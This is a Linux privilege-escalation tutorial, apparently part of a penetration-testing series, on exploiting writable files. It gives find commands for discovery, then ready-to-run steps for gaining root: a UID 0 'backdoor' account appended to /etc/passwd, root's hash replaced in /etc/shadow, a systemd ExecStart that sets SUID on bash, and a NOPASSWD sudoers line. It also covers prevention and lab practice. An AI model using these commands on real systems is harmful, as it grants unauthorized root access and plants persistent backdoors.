Linux Privilege Escalation: Writable Files

This guide is the generalization every prior guide in this series has been pointing toward. Your SUID guide found writable library dependencies; your Cron Jobs guide found writable scripts; your PATH Hijacking guide found writable directories in `$PATH`; your NFS guide used write access to plant a SUID binary. Every one of those was **this** underlying category — an attacker-writable resource that something more privileged reads, executes, or trusts — applied to one specific context. This guide covers the pattern generally, plus the high-value targets (`/etc/passwd`, `/etc/shadow`, systemd units, `/etc/sudoers`, log files) that don't fit neatly into any of the earlier guides' specific contexts. Worth locking in the distinction immediately: **Part 1 covers systematic discovery of writable files/directories across a whole system — Part 2 covers the specific high-value targets and exactly what to do once you've found each one**, since "writable" alone doesn't tell you the exploitation path — that depends entirely on WHAT the file is.

---

1. The General Pattern Behind Every Prior Guide — The Foundation

Every technique so far in this series can be restated as a single sentence: **something running with MORE privilege than you currently have trusts a resource that you CAN currently modify.**

```
SUID guide: trusted resource = a shared library or internally-called binary

Cron Jobs guide: trusted resource = a scheduled script

PATH Hijacking guide: trusted resource = a directory searched for bare command names

NFS guide: trusted resource = files created on a network share treated as locally-owne
d

This guide: trusted resource = ANYTHING - a config file, a system database file like /
etc/passwd, a log file parsed by a privileged process, a systemd unit definition, a li
brary loaded by ANY privileged process (not just SUID binaries specifically)
```

The single fact this guide is built around — permission misconfiguration doesn't confine itself to the specific contexts earlier guides covered; it can appear on literally any file a privileged process reads, writes, executes, or parses, which is exactly why systematic, whole-filesystem enumeration (Part 1) matters as much as knowing the specific high-value targets (Part 2).

PART 1: Systematic Discovery

2. Finding World-Writable Files System-Wide

```
find / -writable -type f 2>/dev/null
find / -perm -o+w -type f 2>/dev/null
```

```
-writable    → files the CURRENT user can write to (accounts for your specific UID/gro
up memberships, more accurate to your actual exploitable set)

-perm -o+w     → files writable by ANY user (world-writable), useful for a broader pic
ture even beyond just your current privilege level
```

3. Finding World-Writable Directories

Directories deserve separate, explicit enumeration — a writable directory allows an attacker to **delete and recreate** files within it (assuming the sticky bit isn't set — Section 4), which is a broader exploitation surface than merely writable individual files:

```
find / -writable -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
```

4. Checking for the Sticky Bit — Why It Matters for Directories

```
ls -ld /tmp
drwxrwxrwt 10 root root 4096 ... /tmp
          ^
        the 't' here is the STICKY BIT - in a world-writabl
e
        directory, it restricts DELETION/RENAMING of files
within
```

```
        it to each file's OWNER (or root) specifically, eve
n
        though the directory itself is writable by everyone

find / -writable -type d ! -perm -1000 2>/dev/null
        # directories that are writable but LACK the sticky
bit -
        # genuinely more exploitable, since you can delete/
replace
        # files you don't own, not just create new ones
```

`/tmp` having the sticky bit set by default is exactly why "writable directory" alone isn't automatically as dangerous as it initially sounds — the sticky bit is a real, commonly-present mitigation worth explicitly checking for before assuming full exploitability.

5. Finding Files Owned by Root But Writable by You (Group-Based Gaps)

A narrower but frequently more interesting finding than pure world-writable results — a file owned by root but writable via GROUP permission, where your current user happens to share that group membership:

```
find / -group $(id -gn) -perm -g+w -type f 2>/dev/null
groups                # confirm your current group membersh
ips first
```

6. Checking Ownership/Permissions on Anything a Privileged Process Interacts With

Broad filesystem sweeps (Sections 2-5) are the starting point, but the highest-value approach is working BACKWARD from a known privileged process — the same pspy-driven observation technique your Cron Jobs guide introduced applies generally here too, not just to scheduled tasks:

```
pspy    # observe ALL process execution system-wide, not ju
st cron -
         # note every file path any privileged process touc
```

```
hes, then
         # check YOUR write access to each one individually
```

PART 2: High-Value Targets & Exact Exploitation

7. /etc/passwd — Direct Account Creation

If writable, the single most reliable and well-known target — `/etc/passwd` defines user accounts, and while modern systems store password hashes separately in `/etc/shadow`, `/etc/passwd` still supports an inline password hash field for backward compatibility, meaning a writable `/etc/passwd` alone (without needing shadow access at all) is often sufficient:

```
openssl passwd -1 -salt xyz password123
# outputs a crypt-format hash, e.g.: $1$xyz$EhTmSbSKzbYzs4z
8p8vmS0

echo 'backdoor:$1$xyz$EhTmSbSKzbYzs4z8p8vmS0:0:0:root:/roo
t:/bin/bash' >> /etc/passwd
su backdoor
# password: password123
```

```
Field breakdown:  username:password_hash:UID:GID:comment:home:shell
                    UID 0 and GID 0 specifically grant ROOT
                    privileges to this newly created account,
                    regardless of the username chosen
```

8. /etc/shadow — Direct Hash Replacement

If `/etc/passwd` uses the modern `x` placeholder (delegating actual hash storage to `/etc/shadow`) but `/etc/shadow` itself is writable, replace an EXISTING user's hash (root's own entry, ideally) rather than needing to create a new account at all:

```
openssl passwd -1 -salt xyz newpassword
# replace root's existing hash field in /etc/shadow with th
e output,
# preserving every OTHER field's format exactly
```

```
su root
# password: newpassword
```

9. Systemd Service/Timer Unit Files

Directly analogous to your Cron Jobs guide's technique, applied to systemd's scheduling/service mechanism instead of traditional cron:

```
find / -path /proc -prune -o -writable -name "*.service" -p
rint 2>/dev/null
find / -path /proc -prune -o -writable -name "*.timer" -pri
nt 2>/dev/null
```

```
# if a root-run service unit is writable:
[Service]
ExecStart=/bin/bash -c 'chmod u+s /bin/bash'
```

```
systemctl daemon-reload   # if you have permission, or wait
for the
                            # service to restart/fire natur
ally
```

10. /etc/sudoers and /etc/sudoers.d/

If writable directly (rare, since this file is usually tightly locked down even relative to other system files, but worth explicitly checking), grants privilege escalation immediately and unambiguously:

```
echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
```

11. Shared Library Files Loaded by Privileged Processes (Beyond SUID Context)

Your SUID guide's Section 7 covered this specifically for SUID binaries — the same principle applies to ANY privileged process (a root-run daemon, a systemd service) loading a shared library from a writable location, not just SUID-flagged executables:

```
find / -writable -name "*.so" 2>/dev/null
find / -writable -name "*.so.*" 2>/dev/null
ldconfig -p | grep <suspicious_writable_path>
```

12. Log Files Parsed by Privileged Tooling — Log Injection Escalation

A less commonly checked but genuinely real category — directly connecting back to your CRLF Injection guide's Section 6 log-forging discussion, applied here specifically where the CONSUMER of the forged log is a privileged process:

```
If a root-run log-parsing/monitoring tool (a custom internal script, certain SIEM agen
t configurations, logrotate's own postrotate scripts) executes actions based on log CO
NTENT, and the log file itself is writable, injecting content that triggers an uninten
ded privileged action is a viable, if situational, escalation path
```

13. Writable /etc/passwd Backup or Config-Management Files

Worth explicitly checking beyond the live files themselves — backup copies, version-control checkouts, or configuration-management tool staging directories (Ansible/Puppet/Chef working directories) sometimes retain writable COPIES of sensitive files that get periodically synced/deployed back to their real locations by a privileged automation process, providing an indirect path to the same outcome as Sections 7-10.

---

14. Testing Methodology

```
1. Run Sections 2-3's broad find sweeps first, redirecting output to a file for review
rather than trying to eyeball a live terminal scroll of results

2. Filter results against Section 4's sticky-bit check for directories specifically, t
o separate genuinely exploitable findings from expected/mitigated ones like /tmp

3. Cross-reference every result against Section 7-13's specific high-value target list
BEFORE assuming a generic/unclear finding needs bespoke investigation

4. For anything not immediately recognizable, determine WHAT process actually reads/us
es that file (Section 6's pspy-driven backward approach) before attempting exploitatio
n blindly

5. Prefer /etc/passwd (Section 7) as the go-to technique when available - it's the mos
```

```
t reliable, well-understood, and immediately verifiable escalation path in this entire
guide
```

15. Prevention

```
- Run scheduled, automated permission auditing across the filesystem (find / -perm -o+
w, cross-referenced against an expected-baseline snapshot) rather than relying on one-
time hardening at deployment

- Ensure critical system files (/etc/passwd, /etc/shadow, /etc/sudoers, systemd unit f
iles) are owned by root with NO group or world write access, verified explicitly rathe
r than assumed from distribution defaults

- Apply the principle of least privilege to configuration- management and deployment t
ooling (Section 13) - staging directories used by automated deployment processes deser
ve the SAME scrutiny as the live files they eventually overwrite

- Monitor file integrity on the highest-value targets specifically (auditd rules or a
file-integrity-monitoring tool watching /etc/passwd, /etc/shadow, /etc/sudoers, and sy
stemd unit directories) so unauthorized WRITES are detected even if the underlying per
mission gap that allowed them briefly existed

- Maintain the sticky bit on all world-writable shared directories (Section 4) - this
is set by default on /tmp for exactly this reason and should never be deliberately rem
oved
```

16. Practical Lab Example

```
This guide is the natural CAPSTONE exercise for the whole
privilege-escalation series so far - TryHackMe/HTB's general Linux
PrivEsc rooms typically combine several of these findings in a
single box rather than isolating each technique the way earlier,
more focused labs did.

Suggested practice order:
1. Run Sections 2-6's full enumeration sweep on a lab VM you've
   ALREADY used for the SUID, Cron Jobs, and PATH Hijacking guides'
   exercises, and confirm you can independently rediscover those
   same earlier findings through this guide's more general approach
2. Deliberately misconfigure /etc/passwd permissions on a
   disposable lab VM (never a real system) and practice Section 7's
   full account-creation workflow end to end
3. Set up a writable systemd service unit (Section 9) and confirm
   the technique mirrors your Cron Jobs guide's approach closely
   enough that you could explain the parallel to someone else clearly
```

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-732 (Incorrect Permission Assignment for Critical Resource - the umbrella CWE for this entire guide, and genuinely the same CWE underlying most of the earlier guides in this series once you trace each back to its root cause)
OWASP Top 10:2025	A02:2025 Security Misconfiguration
CVSS	Critical for /etc/passwd, /etc/shadow, /etc/sudoers findings specifically (direct, unambiguous root); High for most other writable-file findings depending on exact reachability/chaining required
Cyber Kill Chain	Privilege Escalation
MITRE ATT&CK	T1222.002 (File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification), with specific findings additionally mapping to T1543.002 (Create or Modify System Process: Systemd Service, covering Section 9)

Quick Reference Cheat Sheet

```
DISCOVER:
  find / -writable -type f 2>/dev/null
  find / -writable -type d 2>/dev/null
  find / -writable -type d ! -perm -1000 2>/dev/null   → no sticky bit
  find / -group $(id -gn) -perm -g+w -type f 2>/dev/null

HIGH-VALUE TARGETS, IN ROUGH PRIORITY ORDER:
  /etc/passwd           → append a UID 0 account directly (Section 7)
  /etc/shadow             → overwrite an existing user's hash (Section 8)
  /etc/sudoers               → grant NOPASSWD sudo directly (Section 10)
  *.service / *.timer          → inject ExecStart payload (Section 9)
  writable *.so                  → library hijack for any privileged
                                       process, not just SUID (Section 11)

Root lesson: this is the general pattern EVERY earlier guide in this
series was a specific instance of - "a more-privileged process
trusts a resource you can write to." SUID, cron, PATH, and NFS each
narrowed that pattern to one context; systematic whole-filesystem
enumeration is what catches the findings that don't fit neatly into
any of those specific boxes.
```